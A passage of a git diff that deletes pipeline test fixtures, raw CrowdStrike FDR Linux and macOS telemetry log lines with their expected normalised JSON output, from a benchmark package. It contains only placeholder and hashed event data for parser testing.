192.168.1.35\",\"MAC\":\"BB-AA-AA-AA-CC-CC\",\"MACPrefix\":\"BB-AA-AA\",\"NeighborName\":\"!!!!UNKNOWN!!!!\",\"__mv_LocalAddressIP4\":\"$192.168.1.129$;$192.168.1.35$\",\"__mv_aip\":\"$192.168.255.7$;$192.168.240.243$\",\"__mv_discoverer_aid\":\"\",\"_time\":\"1680769502.395\",\"aip\":\"192.168.255.7 192.168.240.243\",\"aipCount\":\"2\",\"cid\":\"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\",\"discovererCount\":\"1\",\"discoverer_aid\":\"bbbbbbbbbbbbbbcbbbbbbbbbbbbbbbbb\",\"localipCount\":\"2\",\"subnet\":\"192.168\"}" - }, - "host": { - "hostname": "xxxxxxxxxxxxxxxx", - "name": "xxxxxxxxxxxxxxxx" - }, - "observer": { - "address": [ - "192.168.255.7", - "192.168.240.243" - ], - "ip": [ - "192.168.255.7", - "192.168.240.243" - ] - }, - "related": { - "hosts": [ - "xxxxxxxxxxxxxxxx" - ], - "ip": [ - "192.168.255.7", - "192.168.240.243", - "192.168.1.129", - "192.168.1.35" - ] - }, - "source": { - "address": "192.168.1.35", - "ip": "192.168.1.35", - "mac": "BB-AA-AA-AA-CC-CC" - }, - "tags": [ - "preserve_original_event" - ] - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log deleted file mode 100644 index 6ab6c2e541..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log +++ /dev/null @@ -1,5 +0,0 @@ -{"event_simpleName":"CriticalEnvironmentVariableChanged","EnvironmentVariableName":"b644d55ace4f0d","ContextTimeStamp":"1757442428.423","ConfigStateHash":"8308391500","ContextProcessId":"520000000560900","ContextThreadId":"0","aip":"81.2.69.142","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","EnvironmentVariableValue":"a8afe97c911df877fcbc6f0f3e1f509d3a","Entitlements":"76","name":"12b047f65d9ece84f659a6b3826d14342284b30","EventOrigin":"45","id":"8cb2694b8b910f8a123d27da50bb85401acf","EffectiveTransmissionClass":"2","aid":"63c6b6246300091fe99c69eb0e5f2cf6","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"CriticalFileAccessed","ContextTimeStamp":"1757157936.727","GID":"0","ConfigStateHash":"1061106086","ContextProcessId":"1096090950008222800","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","event_platform":"Lin","UnixMode":"61960","Entitlements":"26","name":"1532ae7e2a105adcc6ddbcf67","EventOrigin":"1","id":"01a3b1d4aa10d5329aef78ba9d3ec56f6d97","EffectiveTransmissionClass":"2","aid":"37b562b807a27cfb58dda71ec9a7eb22","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/812/0bb09d"} -{"CapPrm":"3800192030037","ParentProcessId":"8081349242194000050","SourceProcessId":"8081349242194000050","aip":"81.2.69.192","SessionProcessId":"4102020000109002000","SyntheticPR2Flags":"4","event_platform":"Lin","ProcessEndTime":"1745972888.297","SVUID":"0","EventOrigin":"45","id":"fb9bd5f0314e46ce785f479aed8f3032fcd9","EffectiveTransmissionClass":"2","timestamp":"1743508799999","ProcessGroupId":"7001610480104066706","event_simpleName":"SyntheticProcessRollup2","RawProcessId":"8905032","ContextTimeStamp":"1752350302.359","GID":"0","ConfigStateHash":"5001020160","SVGID":"0","ConfigBuild":"2c8b.2.3366c72.4f","UID":"0","CommandLine":"e7f8eac7d","TargetProcessId":"6059002040716020903","ImageFileName":"/501e","RGID":"0","SourceThreadId":"0","Entitlements":"56","name":"4f32166a22f49735247598b45006","ProcessStartTime":"1745953229.264","RUID":"0","aid":"8c687fb6b1e8231200c77ef5e3175d0e","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"TerminateProcess","RawProcessId":"1070050","ContextTimeStamp":"1751300030.984","ConfigStateHash":"8001020160","ContextProcessId":"9960000700989070560","ContextThreadId":"0","aip":"89.160.20.128","ConfigBuild":"2c8b.2.3366c72.4f","event_platform":"Lin","TargetProcessId":"6960000700989070560","Entitlements":"36","name":"6b1c662a760f5ed9750d4","EventOrigin":"1","id":"3e71b26395f4386bcb6602ee6777bb5f3124","EffectiveTransmissionClass":"2","aid":"12111f24f25a2a99438b40765c236577","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"ChangeTime":"1731329600.968","OciContainerId":"sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd","CapPrm":"123438954321","ParentProcessId":"12347782548906","SourceProcessId":"12347782548906","aip":"89.160.20.128","SessionProcessId":"1234915117961","SHA1HashData":"0000000000000000000000000000000000000000","event_platform":"Lin","ProcessEndTime":"1760406073.595","SVUID":"0","ParentBaseFileName":"runc","EventOrigin":"17","id":"1w23e4r-d03e-4003-bc75-71c6e819ca5f","EffectiveTransmissionClass":"2","Tags":"874, 17179870274, 12094627905582, 12094627906234, 212205744162400","timestamp":"1760406074201","ProcessGroupId":"1234915117961","LocalAddressIP4":"0.0.0.0","event_simpleName":"ProcessRollup2","RawProcessId":"1234","RootPath":"/","GID":"0","ConfigStateHash":"1026580567","UserName":"root","SVGID":"0","MD5HashData":"88922d50263b059696c2af5a99906562","SHA256HashData":"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6","ConfigBuild":"1007.4.0013701.1","UID":"0","CommandLine":"runc init","TargetProcessId":"12347783237538","ImageFileName":"/","RGID":"0","SourceThreadId":"0","Entitlements":"15","name":"ProcessRollup2LinV12","RUID":"0","ProcessStartTime":"1760406073.568","ComputerName":"comp2","aid":"ffffffff62714a708030d494ca0a7e60","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json deleted file mode 100644 index f0114c8866..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-linux.log-expected.json +++ /dev/null @@ -1,556 +0,0 @@ -{ - "expected": [ - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "8308391500", - "ContextProcessId": "520000000560900", - "ContextTimeStamp": "2025-09-09T18:27:08.423Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "76", - "EnvironmentVariableName": "b644d55ace4f0d", - "EnvironmentVariableValue": "a8afe97c911df877fcbc6f0f3e1f509d3a", - "EventOrigin": "45", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "8cb2694b8b910f8a123d27da50bb85401acf", - "name": "12b047f65d9ece84f659a6b3826d14342284b30" - }, - "device": { - "id": "63c6b6246300091fe99c69eb0e5f2cf6" - }, - "event": { - "action": "CriticalEnvironmentVariableChanged", - "category": [ - "configuration", - "host" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "8cb2694b8b910f8a123d27da50bb85401acf|63c6b6246300091fe99c69eb0e5f2cf6|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"CriticalEnvironmentVariableChanged\",\"EnvironmentVariableName\":\"b644d55ace4f0d\",\"ContextTimeStamp\":\"1757442428.423\",\"ConfigStateHash\":\"8308391500\",\"ContextProcessId\":\"520000000560900\",\"ContextThreadId\":\"0\",\"aip\":\"81.2.69.142\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"event_platform\":\"Lin\",\"EnvironmentVariableValue\":\"a8afe97c911df877fcbc6f0f3e1f509d3a\",\"Entitlements\":\"76\",\"name\":\"12b047f65d9ece84f659a6b3826d14342284b30\",\"EventOrigin\":\"45\",\"id\":\"8cb2694b8b910f8a123d27da50bb85401acf\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"63c6b6246300091fe99c69eb0e5f2cf6\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "change" - ] - }, - "host": { - "id": "63c6b6246300091fe99c69eb0e5f2cf6", - "os": { - "type": "linux" - } - }, - "message": "CriticalEnvironmentVariableChanged", - "observer": { - "address": [ - "81.2.69.142" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.142" - ], - "serial_number": "63c6b6246300091fe99c69eb0e5f2cf6", - "version": "2c8b.2.3366c72.4f" - }, - "process": { - "entity_id": "520000000560900", - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "8308391500" - ], - "ip": [ - "81.2.69.142" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "1061106086", - "ContextProcessId": "1096090950008222800", - "ContextTimeStamp": "2025-09-06T11:25:36.727Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "26", - "EventOrigin": "1", - "UnixMode": "61960", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "01a3b1d4aa10d5329aef78ba9d3ec56f6d97", - "name": "1532ae7e2a105adcc6ddbcf67" - }, - "device": { - "id": "37b562b807a27cfb58dda71ec9a7eb22" - }, - "event": { - "action": "CriticalFileAccessed", - "category": [ - "file" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "01a3b1d4aa10d5329aef78ba9d3ec56f6d97|37b562b807a27cfb58dda71ec9a7eb22|4092825518eaf67377a6e4492ae44577", - "kind": "alert", - "original": "{\"event_simpleName\":\"CriticalFileAccessed\",\"ContextTimeStamp\":\"1757157936.727\",\"GID\":\"0\",\"ConfigStateHash\":\"1061106086\",\"ContextProcessId\":\"1096090950008222800\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"UID\":\"0\",\"event_platform\":\"Lin\",\"UnixMode\":\"61960\",\"Entitlements\":\"26\",\"name\":\"1532ae7e2a105adcc6ddbcf67\",\"EventOrigin\":\"1\",\"id\":\"01a3b1d4aa10d5329aef78ba9d3ec56f6d97\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"37b562b807a27cfb58dda71ec9a7eb22\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\",\"TargetFileName\":\"/812/0bb09d\"}", - "outcome": "success", - "type": [ - "access" - ] - }, - "file": { - "directory": "/812", - "name": "0bb09d", - "path": "/812/0bb09d", - "type": "file" - }, - "group": { - "id": "0" - }, - "host": { - "id": "37b562b807a27cfb58dda71ec9a7eb22", - "os": { - "type": "linux" - } - }, - "message": "CriticalFileAccessed", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "37b562b807a27cfb58dda71ec9a7eb22", - "version": "2c8b.2.3366c72.4f" - }, - "process": { - "entity_id": "1096090950008222800", - "group": { - "id": "0" - }, - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "1061106086" - ], - "ip": [ - "89.160.20.128" - ], - "user": [ - "0" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "group": { - "id": "0" - }, - "id": "0" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "CapPrm": "3800192030037", - "ConfigStateHash": "5001020160", - "ContextTimeStamp": "2025-07-12T19:58:22.359Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "56", - "EventOrigin": "45", - "RGID": "0", - "RUID": "0", - "SVGID": "0", - "SVUID": "0", - "SessionProcessId": "4102020000109002000", - "SourceProcessId": "8081349242194000050", - "SourceThreadId": "0", - "SyntheticPR2Flags": "4", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "fb9bd5f0314e46ce785f479aed8f3032fcd9", - "name": "4f32166a22f49735247598b45006" - }, - "device": { - "id": "8c687fb6b1e8231200c77ef5e3175d0e" - }, - "event": { - "action": "SyntheticProcessRollup2", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "fb9bd5f0314e46ce785f479aed8f3032fcd9|8c687fb6b1e8231200c77ef5e3175d0e|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"CapPrm\":\"3800192030037\",\"ParentProcessId\":\"8081349242194000050\",\"SourceProcessId\":\"8081349242194000050\",\"aip\":\"81.2.69.192\",\"SessionProcessId\":\"4102020000109002000\",\"SyntheticPR2Flags\":\"4\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1745972888.297\",\"SVUID\":\"0\",\"EventOrigin\":\"45\",\"id\":\"fb9bd5f0314e46ce785f479aed8f3032fcd9\",\"EffectiveTransmissionClass\":\"2\",\"timestamp\":\"1743508799999\",\"ProcessGroupId\":\"7001610480104066706\",\"event_simpleName\":\"SyntheticProcessRollup2\",\"RawProcessId\":\"8905032\",\"ContextTimeStamp\":\"1752350302.359\",\"GID\":\"0\",\"ConfigStateHash\":\"5001020160\",\"SVGID\":\"0\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"UID\":\"0\",\"CommandLine\":\"e7f8eac7d\",\"TargetProcessId\":\"6059002040716020903\",\"ImageFileName\":\"/501e\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"56\",\"name\":\"4f32166a22f49735247598b45006\",\"ProcessStartTime\":\"1745953229.264\",\"RUID\":\"0\",\"aid\":\"8c687fb6b1e8231200c77ef5e3175d0e\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "group": { - "Ext": { - "real": { - "id": "0" - } - }, - "id": "0" - }, - "host": { - "id": "8c687fb6b1e8231200c77ef5e3175d0e", - "os": { - "type": "linux" - } - }, - "message": "SyntheticProcessRollup2", - "observer": { - "address": [ - "81.2.69.192" - ], - "geo": { - "city_name": "London", - "continent_name": "Europe", - "country_iso_code": "GB", - "country_name": "United Kingdom", - "location": { - "lat": 51.5142, - "lon": -0.0931 - }, - "region_iso_code": "GB-ENG", - "region_name": "England" - }, - "ip": [ - "81.2.69.192" - ], - "serial_number": "8c687fb6b1e8231200c77ef5e3175d0e", - "version": "2c8b.2.3366c72.4f" - }, - "process": { - "args": [ - "e7f8eac7d" - ], - "args_count": 1, - "command_line": "e7f8eac7d", - "end": "2025-04-30T00:28:08.297Z", - "entity_id": "6059002040716020903", - "executable": "/501e", - "group": { - "id": "0" - }, - "group_leader": { - "entity_id": "7001610480104066706" - }, - "name": "501e", - "parent": { - "entity_id": "8081349242194000050" - }, - "pgid": 7001610480104066706, - "pid": 8905032, - "real_group": { - "id": "0" - }, - "real_user": { - "id": "0" - }, - "start": "2025-04-29T19:00:29.264Z", - "uptime": 19 - }, - "related": { - "hash": [ - "5001020160" - ], - "ip": [ - "81.2.69.192" - ], - "user": [ - "0" - ] - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "0" - } - }, - "group": { - "id": "0" - }, - "id": "0" - } - }, - { - "@timestamp": "2025-04-01T11:59:59.999Z", - "crowdstrike": { - "ConfigStateHash": "8001020160", - "ContextProcessId": "9960000700989070560", - "ContextTimeStamp": "2025-06-30T16:13:50.984Z", - "EffectiveTransmissionClass": "2", - "Entitlements": "36", - "EventOrigin": "1", - "cid": "4092825518eaf67377a6e4492ae44577", - "id": "3e71b26395f4386bcb6602ee6777bb5f3124", - "name": "6b1c662a760f5ed9750d4" - }, - "device": { - "id": "12111f24f25a2a99438b40765c236577" - }, - "event": { - "action": "TerminateProcess", - "category": [ - "process" - ], - "created": "2025-04-01T11:59:59.999Z", - "id": "3e71b26395f4386bcb6602ee6777bb5f3124|12111f24f25a2a99438b40765c236577|4092825518eaf67377a6e4492ae44577", - "kind": "event", - "original": "{\"event_simpleName\":\"TerminateProcess\",\"RawProcessId\":\"1070050\",\"ContextTimeStamp\":\"1751300030.984\",\"ConfigStateHash\":\"8001020160\",\"ContextProcessId\":\"9960000700989070560\",\"ContextThreadId\":\"0\",\"aip\":\"89.160.20.128\",\"ConfigBuild\":\"2c8b.2.3366c72.4f\",\"event_platform\":\"Lin\",\"TargetProcessId\":\"6960000700989070560\",\"Entitlements\":\"36\",\"name\":\"6b1c662a760f5ed9750d4\",\"EventOrigin\":\"1\",\"id\":\"3e71b26395f4386bcb6602ee6777bb5f3124\",\"EffectiveTransmissionClass\":\"2\",\"aid\":\"12111f24f25a2a99438b40765c236577\",\"timestamp\":\"1743508799999\",\"cid\":\"4092825518eaf67377a6e4492ae44577\"}", - "outcome": "success", - "type": [ - "end" - ] - }, - "host": { - "id": "12111f24f25a2a99438b40765c236577", - "os": { - "type": "linux" - } - }, - "message": "TerminateProcess", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "12111f24f25a2a99438b40765c236577", - "version": "2c8b.2.3366c72.4f" - }, - "process": { - "entity_id": "6960000700989070560", - "pid": 1070050, - "thread": { - "id": 0 - } - }, - "related": { - "hash": [ - "8001020160" - ], - "ip": [ - "89.160.20.128" - ] - }, - "tags": [ - "preserve_original_event" - ] - }, - { - "@timestamp": "2025-10-14T01:41:14.201Z", - "crowdstrike": { - "CapPrm": "123438954321", - "ChangeTime": "2024-11-11T12:53:20.968Z", - "ConfigStateHash": "1026580567", - "EffectiveTransmissionClass": "2", - "Entitlements": "15", - "EventOrigin": "17", - "LocalAddressIP4": [ - "0.0.0.0" - ], - "MD5HashData": "88922d50263b059696c2af5a99906562", - "OciContainerId": "sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd", - "RGID": "0", - "RUID": "0", - "RootPath": "/", - "SHA256HashData": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6", - "SVGID": "0", - "SVUID": "0", - "SessionProcessId": "1234915117961", - "SourceProcessId": "12347782548906", - "SourceThreadId": "0", - "Tags": [ - "874", - "17179870274", - "12094627905582", - "12094627906234", - "212205744162400" - ], - "cid": "ffffffff15754bcfb5f9152ec7ac90ac", - "id": "1w23e4r-d03e-4003-bc75-71c6e819ca5f", - "name": "ProcessRollup2LinV12" - }, - "device": { - "id": "ffffffff62714a708030d494ca0a7e60" - }, - "event": { - "action": "ProcessRollup2", - "category": [ - "process" - ], - "created": "2025-10-14T01:41:14.201Z", - "id": "1w23e4r-d03e-4003-bc75-71c6e819ca5f|ffffffff62714a708030d494ca0a7e60|ffffffff15754bcfb5f9152ec7ac90ac", - "kind": "event", - "original": "{\"ChangeTime\":\"1731329600.968\",\"OciContainerId\":\"sw345tf5e3455r7dw32w23t6t7fde34ed345rfe45rf0ew4fd\",\"CapPrm\":\"123438954321\",\"ParentProcessId\":\"12347782548906\",\"SourceProcessId\":\"12347782548906\",\"aip\":\"89.160.20.128\",\"SessionProcessId\":\"1234915117961\",\"SHA1HashData\":\"0000000000000000000000000000000000000000\",\"event_platform\":\"Lin\",\"ProcessEndTime\":\"1760406073.595\",\"SVUID\":\"0\",\"ParentBaseFileName\":\"runc\",\"EventOrigin\":\"17\",\"id\":\"1w23e4r-d03e-4003-bc75-71c6e819ca5f\",\"EffectiveTransmissionClass\":\"2\",\"Tags\":\"874, 17179870274, 12094627905582, 12094627906234, 212205744162400\",\"timestamp\":\"1760406074201\",\"ProcessGroupId\":\"1234915117961\",\"LocalAddressIP4\":\"0.0.0.0\",\"event_simpleName\":\"ProcessRollup2\",\"RawProcessId\":\"1234\",\"RootPath\":\"/\",\"GID\":\"0\",\"ConfigStateHash\":\"1026580567\",\"UserName\":\"root\",\"SVGID\":\"0\",\"MD5HashData\":\"88922d50263b059696c2af5a99906562\",\"SHA256HashData\":\"d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6\",\"ConfigBuild\":\"1007.4.0013701.1\",\"UID\":\"0\",\"CommandLine\":\"runc init\",\"TargetProcessId\":\"12347783237538\",\"ImageFileName\":\"/\",\"RGID\":\"0\",\"SourceThreadId\":\"0\",\"Entitlements\":\"15\",\"name\":\"ProcessRollup2LinV12\",\"RUID\":\"0\",\"ProcessStartTime\":\"1760406073.568\",\"ComputerName\":\"comp2\",\"aid\":\"ffffffff62714a708030d494ca0a7e60\",\"cid\":\"ffffffff15754bcfb5f9152ec7ac90ac\"}", - "outcome": "success", - "type": [ - "start" - ] - }, - "group": { - "Ext": { - "real": { - "id": "0" - } - }, - "id": "0" - }, - "host": { - "hostname": "comp2", - "id": "ffffffff62714a708030d494ca0a7e60", - "name": "comp2", - "os": { - "type": "linux" - } - }, - "message": "ProcessRollup2", - "observer": { - "address": [ - "89.160.20.128" - ], - "geo": { - "city_name": "Linköping", - "continent_name": "Europe", - "country_iso_code": "SE", - "country_name": "Sweden", - "location": { - "lat": 58.4167, - "lon": 15.6167 - }, - "region_iso_code": "SE-E", - "region_name": "Östergötland County" - }, - "ip": [ - "89.160.20.128" - ], - "serial_number": "ffffffff62714a708030d494ca0a7e60", - "version": "1007.4.0013701.1" - }, - "process": { - "args": [ - "runc", - "init" - ], - "args_count": 2, - "command_line": "runc init", - "end": "2025-10-14T01:41:13.595Z", - "entity_id": "12347783237538", - "executable": "/", - "group": { - "id": "0" - }, - "group_leader": { - "entity_id": "1234915117961" - }, - "hash": { - "md5": "88922d50263b059696c2af5a99906562", - "sha256": "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6" - }, - "name": "runc", - "parent": { - "entity_id": "12347782548906", - "name": "runc" - }, - "pgid": 1234915117961, - "pid": 1234, - "real_group": { - "id": "0" - }, - "real_user": { - "id": "0" - }, - "start": "2025-10-14T01:41:13.568Z", - "uptime": 0 - }, - "related": { - "hash": [ - "88922d50263b059696c2af5a99906562", - "d4ff1c438e330777002332a305fcf965cfaa7d0dbeb899293d347298cbf6d4b6", - "1026580567" - ], - "hosts": [ - "comp2" - ], - "ip": [ - "89.160.20.128", - "0.0.0.0" - ], - "user": [ - "root", - "0" - ] - }, - "source": { - "address": "0.0.0.0", - "ip": "0.0.0.0" - }, - "tags": [ - "preserve_original_event" - ], - "user": { - "Ext": { - "real": { - "id": "0" - } - }, - "group": { - "id": "0" - }, - "id": "0", - "name": "root" - } - } - ] -} diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log b/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log deleted file mode 100644 index cdbb227d80..0000000000 --- a/test/packages/benchmarks/system_benchmark_crowdstrike/data_stream/fdr/_dev/test/pipeline/test-macos.log +++ /dev/null @@ -1,18 +0,0 @@ -{"ContextBaseFileName":"09e61","event_simpleName":"BZip2FileWritten","ContextTimeStamp":"1757195073.478","UserName":"4813","FileCategory":"1","ConfigStateHash":"25043379","ContextProcessId":"128660005005330005","Size":"164","ContextThreadId":"0","aip":"216.160.83.56","FileIdentifier":"ba8c123c8c5fa659eb0d3736f6d9fb000fa82e957828517a","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"66","name":"f1facdb9387bd66ffd9ef","EventOrigin":"1","id":"902e0c3461e5e975df4227b1ce8919630d6d","EffectiveTransmissionClass":"2","aid":"b616fca617fa5819625542d9505100de","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/c86/836/3be7855d.bz2"} -{"event_simpleName":"CriticalFileModified","ContextTimeStamp":"1748302670.919","GID":"0","ConfigStateHash":"859328400","ContextProcessId":"807031761070052000","ContextThreadId":"0","aip":"2a02:cf40::1","FileIdentifier":"fae5cbfea2793fc85256961268a0b84d939ea1a5cff7ca21","ConfigBuild":"2c8b.4.daf5d9d.4f","UID":"0","USN":"150410415","event_platform":"Mac","UnixMode":"905","Entitlements":"86","name":"0e25074caaed0b54119466642","EventOrigin":"1","id":"46dbd0c61a79bcf29fba222797ace5754589","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/715dc84/812/4f8a2"} -{"event_simpleName":"FileCreateInfo","ContextTimeStamp":"1757781342.026","GID":"45","ConfigStateHash":"65043379","ContextProcessId":"309000003380007780","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","UID":"213","event_platform":"Mac","TreeId":"586900090030000484","UnixMode":"105","Entitlements":"26","name":"b556b2f8c2fcc9d247c","EventOrigin":"3","id":"2e5060ef833ae51492bb2f2feaa9f0a52725","EffectiveTransmissionClass":"3","aid":"f8e97b22125b280e944b0a3e95273005","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577","TargetFileName":"/6b0cc/48a957ec/dc20b3d/33f3ee0e/3cc3653a.Office/487f7052/331ced6b.reg-journal"} -{"event_simpleName":"FirewallDisabled","ContextTimeStamp":"1762877709.496","ConfigStateHash":"600000970","ContextProcessId":"700001226457050500","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","Entitlements":"16","name":"d6b45f4ee5e3f0dc22415","EventOrigin":"45","id":"da89f6e8e51680edc853caf65110cd0b6997","EffectiveTransmissionClass":"2","aid":"688342f2ec2adb5c7a9da5d3fec0cf70","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"FirewallEnabled","ContextTimeStamp":"1746962753.829","ConfigStateHash":"859328400","ContextProcessId":"900268078000780315","aip":"81.2.69.144","ConfigBuild":"2c8b.4.daf5d9d.4f","event_platform":"Mac","Entitlements":"46","name":"07198adb48f191c84a38","EventOrigin":"45","id":"b6c44348e6ee1e39992118be1c7150fa6a2e","EffectiveTransmissionClass":"2","aid":"38d08ba2d7184565619459d87ca92c8a","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} -{"FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"445","RemoteAddressMaskIP4":"7807212067","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","EventOrigin":"45","LocalAddressMaskIP4":"5452380700","id":"806ac88ec376c30a3ad5d58a509223d6a681","Protocol":"0","EffectiveTransmissionClass":"2","timestamp":"1743508799999","LocalAddressIP4":"216.160.83.56","event_simpleName":"FirewallSetRuleIP4","ContextTimeStamp":"1747090146.428","ConfigStateHash":"95043379","ContextProcessId":"160345220009000222","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"66","name":"dc265f862d44e408c3e76cd","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","RemoteAddressIP4":"81.2.69.144","ConnectionDirection":"1","cid":"4092825518eaf67377a6e4492ae44577"} -{"RemoteAddressIP6":"2a02:cf40::1","FirewallAction":"1","aip":"216.160.83.56","NegateLocalAddress":"0","InterfaceAlias":"3d0df","event_platform":"Mac","NegateInterface":"0","IsUnique":"1","RemoteAddressMaskIP6":"374708fff7719dd5","LocalAddressMaskIP6":"0e83fa75cca53fdf","EventOrigin":"45","id":"642c09f791082b5d83a09c110880c78938cf","Protocol":"62","EffectiveTransmissionClass":"2","timestamp":"1743508799999","event_simpleName":"FirewallSetRuleIP6","LocalAddressIP6":"2a02:cf40::1","ContextTimeStamp":"1749801051.624","IcmpCode":"1","ConfigStateHash":"15043379","ContextProcessId":"160345220009000222","IcmpType":"990","ConfigBuild":"2c8b.4.b224e8a.4f","Entitlements":"76","name":"e1d442f5c46bbf234569aea","aid":"e49032362e42da0f07152b78718c7674","NegateRemoteAddress":"0","ConnectionDirection":"0","cid":"4092825518eaf67377a6e4492ae44577"} -{"event_simpleName":"KextLoad","ContextTimeStamp":"1762198394.892","ConfigStateHash":"15043379","ContextProcessId":"472050110452005020","ContextThreadId":"0","aip":"2a02:cf40::1","ConfigBuild":"2c8b.4.b224e8a.4f","event_platform":"Mac","BundleID":"a225ed06f58fec3fe735872464c","Entitlements":"86","name":"3304452f50b3f","EventOrigin":"1","id":"5f985f71b43f37edc3c06b1c67f8acf263c1","EffectiveTransmissionClass":"2","aid":"c93c143eed37653b54c326dd22e114b8","timestamp":"1743508799999","cid":"4092825518eaf67377a6e4492ae44577"} 